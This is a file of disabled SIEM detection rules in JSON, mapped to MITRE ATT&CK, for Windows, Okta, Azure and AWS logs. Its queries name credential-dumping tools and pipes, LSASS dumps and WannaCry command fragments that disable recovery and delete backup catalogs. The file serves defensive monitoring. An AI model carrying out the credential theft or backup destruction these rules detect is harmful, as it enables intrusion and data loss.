{"description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", "enabled": false, "false_positives": ["Legitimate CMSTP use (unlikely in modern enterprise environments)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9ba1a22d-3913-9a0a-d9a2-82e1f6d16d7f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CMSTP Execution Process Access", "query": "winlog.event_data.CallTrace:*cmlua.dll*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218", "T1559"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1559", "name": "Inter-Process Communication", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nik Seetharaman"], "license": ""}
{"description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", "enabled": false, "false_positives": ["Legitimate CMSTP use (unlikely in modern enterprise environments)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5d9d2355-2fdf-bfee-5399-875001b5e3fd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CMSTP Execution Process Creation", "query": "process.parent.executable:*\\\\cmstp.exe", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nik Seetharaman"], "license": ""}
{"description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", "enabled": false, "false_positives": ["Legitimate CMSTP use (unlikely in modern enterprise environments)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "37cf3e49-b29b-08bb-30aa-a8f12b059231", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CMSTP Execution Registry Event", "query": "winlog.event_data.TargetObject:*\\\\cmmgr32.exe*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nik Seetharaman"], "license": ""}
{"description": "Detects VB DLL's loaded by an office application. Which could indicate the presence of VBA Macros.", "author": ["Antonlovesdnb"], "enabled": false, "false_positives": ["Alerts on legitimate macro usage as well, will need to filter as appropriate"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "98d31503-969f-f057-5bde-eafc26da79fd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "VBA DLL Loaded Via Office Application", "query": "(process.executable.text:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\outlook.exe) AND dll.path:(*\\\\VBE7.DLL OR *\\\\VBEUI.DLL OR *\\\\VBE7INTL.DLL))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects VBScript content stored into registry keys as seen being used by UNC2452 group", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c8386edd-b603-d526-d449-d8ddaa949188", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "VBScript Payload Stored in Registry", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*Software\\\\Microsoft\\\\Windows\\\\CurrentVersion* AND winlog.event_data.Details:(*vbscript\\:* OR *jscript\\:* OR *mshtml,* OR *RunHTMLApplication* OR *Execute\\(* OR *CreateObject* OR *window.close*)) AND (NOT ((winlog.event_data.TargetObject:*Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run*) OR (process.executable.text:*\\\\msiexec.exe AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Installer\\\\UserData\\\\* AND winlog.event_data.Details:(*\\\\Microsoft.NET\\\\Primary\\ Interop\\ Assemblies\\\\Microsoft.mshtml.dll* OR *<\\\\Microsoft.mshtml,fileVersion\\=* OR *_mshtml_dll_* OR *<\\\\Microsoft.mshtml,culture\\=*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects volume shadow copy mount", "enabled": false, "false_positives": ["Legitimate use of volume shadow copy mounts (backups maybe)."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c8d3787f-e3f2-0b78-0873-1146e298af1b", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Volume Shadow Copy Mount", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Microsoft\\-Windows\\-Ntfs\" AND winlog.event_id:\"98\" AND DeviceName:*HarddiskVolumeShadowCopy*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g", "Open Threat Research (OTR)"], "license": ""}
{"description": "Detects wannacry killswitch domain dns queries", "enabled": false, "false_positives": ["Analyst testing"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "b29c9d8a-a5bc-ee5a-4dbf-f744f07a54e6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Wannacry Killswitch Domain", "query": "dns.question.name:(\"ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.testing\" OR \"ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.test\" OR \"ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.com\" OR \"ayylmaotjhsstasdfasdfasdfasdfasdfasdfasdf.com\" OR \"iuqssfsodp9ifjaposdfjhgosurijfaewrwergwea.com\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mike Wade"], "license": ""}
{"description": "Detects WannaCry ransomware activity", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7506aa02-05df-fdcd-f09e-91a0a415b648", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "WannaCry Ransomware", "query": "(process.executable:(*\\\\tasksche.exe OR *\\\\mssecsvc.exe OR *\\\\taskdl.exe OR *\\\\taskhsvc.exe OR *\\\\taskse.exe OR *\\\\111.exe OR *\\\\lhdfrgui.exe OR *\\\\linuxnew.exe OR *\\\\wannacry.exe) OR process.executable:*WanaDecryptor* OR (process.command_line:*icacls* AND process.command_line:*\\/grant* AND process.command_line:*Everyone\\:F* AND process.command_line:*\\/T* AND process.command_line:*\\/C* AND process.command_line:*\\/Q*) OR (process.command_line:*bcdedit* AND process.command_line:*\\/set* AND process.command_line:*\\{default\\}* AND process.command_line:*recoveryenabled* AND process.command_line:*no*) OR (process.command_line:*wbadmin* AND process.command_line:*delete* AND process.command_line:*catalog* AND process.command_line:*\\-quiet*) OR process.command_line:*@Please_Read_Me@.txt*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "Lateral Movement", "T1083", "T1210", "T1222", "T1486", "T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1222", "name": "File and Directory Permissions Modification", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1083", "name": "File and Directory Discovery", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1210", "name": "Exploitation of Remote Services", "reference": ""}]}, {"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1486", "name": "Data Encrypted for Impact", "reference": ""}, {"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "Tom U. @c_APT_ure (collection)", "oscd.community", "Jonhnathan Ribeiro"], "license": ""}
{"description": "Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c9a2180c-0b8b-2bcf-bc34-84f16bf2aca3", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "WCE wceaux.dll Access", "query": "(winlog.channel:\"Security\" AND winlog.event_id:(\"4656\" OR \"4658\" OR \"4660\" OR \"4663\") AND winlog.event_data.ObjectName:*\\\\wceaux.dll)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects web servers that spawn shell processes which could be the result of a successfully placed web shell or another attack", "enabled": false, "false_positives": ["Particular web applications may spawn a shell process legitimately"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5dfb3a75-d9ae-bf23-42db-c5a4e149b4c8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Shells Spawned by Web Servers", "query": "(((process.parent.executable.text:(*\\\\w3wp.exe OR *\\\\php\\-cgi.exe OR *\\\\nginx.exe OR *\\\\httpd.exe OR *\\\\caddy.exe OR *\\\\ws_TomcatService.exe OR *\\\\tomcat.exe OR *\\\\UMWorkerProcess.exe) OR (process.parent.executable.text:(*\\\\java.exe OR *\\\\javaw.exe) AND process.parent.executable.text:(*\\-tomcat\\-* OR *\\\\tomcat*)) OR (process.parent.executable.text:(*\\\\java.exe OR *\\\\javaw.exe) AND process.parent.command_line.text:(*catalina.jar* OR *CATALINA_HOME* OR *catalina.home*))) AND process.executable.text:(*\\\\cmd.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\bitsadmin.exe OR *\\\\arp.exe OR *\\\\at.exe OR *\\\\certutil.exe OR *\\\\dsget.exe OR *\\\\dsquery.exe OR *\\\\find.exe OR *\\\\findstr.exe OR *\\\\fsutil.exe OR *\\\\hostname.exe OR *\\\\ipconfig.exe OR *\\\\nbtstat.exe OR *\\\\net.exe OR *\\\\net1.exe OR *\\\\netdom.exe OR *\\\\netsh.exe OR *\\\\netstat.exe OR *\\\\nltest.exe OR *\\\\nslookup.exe OR *\\\\ntdutil.exe OR *\\\\pathping.exe OR *\\\\ping.exe OR *\\\\qprocess.exe OR *\\\\query.exe OR *\\\\qwinsta.exe OR *\\\\reg.exe OR *\\\\rundll32.exe OR *\\\\sc.exe OR *\\\\schtasks.exe OR *\\\\systeminfo.exe OR *\\\\tasklist.exe OR *\\\\tracert.exe OR *\\\\ver.exe OR *\\\\vssadmin.exe OR *\\\\wevtutil.exe OR *\\\\whoami.exe OR *\\\\wmic.exe OR *\\\\wusa.exe)) AND (NOT ((process.command_line.text:*Windows\\\\system32\\\\cmd.exe\\ \\/c\\ C\\:\\\\ManageEngine\\\\ADManager\\ \\\"Plus\\\\ES\\\\bin\\\\elasticsearch.bat\\ \\-Enode.name\\=RMP\\-NODE1\\ \\-pelasticsearch\\-pid.txt))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1190", "T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke", "Florian Roth", "Zach Stanford @svch0st", "Tim Shelton", "Nasreddine Bencherchali (update)"], "license": ""}
{"description": "Detects WebDav DownloadCradle", "enabled": false, "false_positives": ["Administrative scripts that download files from the Internet", "Administrative scripts that retrieve certain website contents", "Legitimate WebDAV administration"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "bf1bf8b9-e694-9616-cb98-0225ad7917ac", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows WebDAV User Agent", "query": "(user_agent.original:Microsoft\\-WebDAV\\-MiniRedir\\/* AND http.request.method:\"GET\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects well-known credential dumping tools execution via service execution events", "enabled": false, "false_positives": ["Legitimate Administrator using credential dumping tool for password recovery"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d877deb6-2702-0ca3-5a5f-c3f96dc82dcb", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Credential Dumping Tools Service Execution", "query": "file.path:(*fgexec* OR *dumpsvc* OR *cachedump* OR *mimidrv* OR *gsecdump* OR *servpw* OR *pwdump*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003", "T1003", "T1003", "T1003", "T1003", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Teymur Kheirkhabarov", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects well-known credential dumping tools execution via service execution events", "enabled": false, "false_positives": ["Legitimate Administrator using credential dumping tool for password recovery"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d877deb6-2702-0ca3-5a5f-c3f96dc82dcb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Credential Dumping Tools Service Execution", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:(*fgexec* OR *dumpsvc* OR *cachedump* OR *mimidrv* OR *gsecdump* OR *servpw* OR *pwdump*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003", "T1003", "T1003", "T1003", "T1003", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Teymur Kheirkhabarov", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects well-known credential dumping tools execution via service execution events", "enabled": false, "false_positives": ["Legitimate Administrator using credential dumping tool for password recovery"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d877deb6-2702-0ca3-5a5f-c3f96dc82dcb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Credential Dumping Tools Service Execution", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:(*fgexec* OR *dumpsvc* OR *cachedump* OR *mimidrv* OR *gsecdump* OR *servpw* OR *pwdump*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003", "T1003", "T1003", "T1003", "T1003", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Teymur Kheirkhabarov", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects well-known credential dumping tools execution via specific named pipes", "enabled": false, "false_positives": ["Legitimate Administrator using tool for password recovery"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ab8a3e1d-58dc-e8fb-e62f-cc9e9b79f065", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Cred Dump-Tools Named Pipes", "query": "file.name:(*\\\\lsadump* OR *\\\\cachedump* OR *\\\\wceservicepipe*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003", "T1003", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "oscd.community"], "license": ""}
{"description": "Detects WerFault creating a dump file with a name that indicates that the dump file could be an LSASS process memory, which contains user credentials", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8f0a1c72-2ef9-2675-38f4-8d4ef3fe04f3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WerFault LSASS Process Memory Dump", "query": "(process.executable:\"C\\:\\\\WINDOWS\\\\system32\\\\WerFault.exe\" AND file.path:(*\\\\lsass* OR *lsass.exe*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects when a API token is created", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e5ea7eb3-4449-5ccb-13eb-1dcd47fd91ba", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Okta API Token Created", "query": "eventtype:\"system.api_token.create\"", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a API Token is revoked.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "3f40046a-3b54-25bc-2b09-19a43ffc85a7", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Okta API Token Revoked", "query": "eventtype:\"system.api_token.revoke\"", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a Azure Kubernetes Cluster is created or deleted.", "enabled": false, "false_positives": ["Kubernetes cluster being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Kubernetes cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d69d9b87-8a9d-496f-af7d-306c4035ac93", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Azure Kubernetes Cluster Created or Deleted", "query": "properties.message:(\"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/WRITE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/DELETE\")", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a configuration change is made to an applications AppID URI.", "enabled": false, "false_positives": ["When and administrator is making legitmate AppID URI configuration changes to an application. This should be a planned event."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5ff307df-4ba3-798a-8d23-f98b7e7c2e7d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Application AppID Uri Configuration Changes", "query": "properties.message:(\"Update\\ Application\" OR \"Update\\ Service\\ principal\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1528"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1528", "name": "Steal Application Access Token", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "Bailey Bercik '@baileybercik'"], "license": ""}
{"description": "Detects when a configuration change is made to an applications URI. URIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.", "enabled": false, "false_positives": ["When and administrator is making legitmate URI configuration changes to an application. This should be a planned event."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ffa907d8-fd89-3652-d414-010deb884294", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Application URI Configuration Changes", "query": "properties.message:\"Update\\ Application\\ Sucess\\-\\ Property\\ Name\\ AppAddress\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1528"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1528", "name": "Steal Application Access Token", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "Bailey Bercik '@baileybercik'"], "license": ""}
{"description": "Detects when a Container Registry is created or deleted.", "enabled": false, "false_positives": ["Container Registry being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Container Registry created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "50569bb9-e6ef-2042-f5f3-f2551c7fb635", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Azure Container Registry Created or Deleted", "query": "properties.message:(\"MICROSOFT.CONTAINERREGISTRY\\/REGISTRIES\\/WRITE\" OR \"MICROSOFT.CONTAINERREGISTRY\\/REGISTRIES\\/DELETE\")", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a EFS Fileshare is modified or deleted. You can't delete a file system that is in use. If the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8bf98533-bfeb-de5e-e314-cdf8fdcd806d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWS EFS Fileshare Modified or Deleted", "query": "(eventSource:\"elasticfilesystem.amazonaws.com\" AND eventName:\"DeleteFileSystem\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "3810ec74-ae07-bd9f-2fa7-59e2a897b211", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWS EFS Fileshare Mount Modified or Deleted", "query": "(eventSource:\"elasticfilesystem.amazonaws.com\" AND eventName:\"DeleteMountTarget\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1485"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1485", "name": "Data Destruction", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a file with a suspicious extension is created in the startup folder", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Rare legitimate usage of some of the extensions mentioned in the rule"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1674d9c4-9702-68f6-91e6-a78a18f6cc78", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Startup Folder Persistence", "query": "(file.path.text:*\\\\Windows\\\\Start\\ Menu\\\\Programs\\\\Startup\\\\* AND file.path.text:(*.vbs OR *.vbe OR *.bat OR *.ps1 OR *.hta OR *.dll OR *.jar OR *.msi OR *.scr OR *.cmd))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
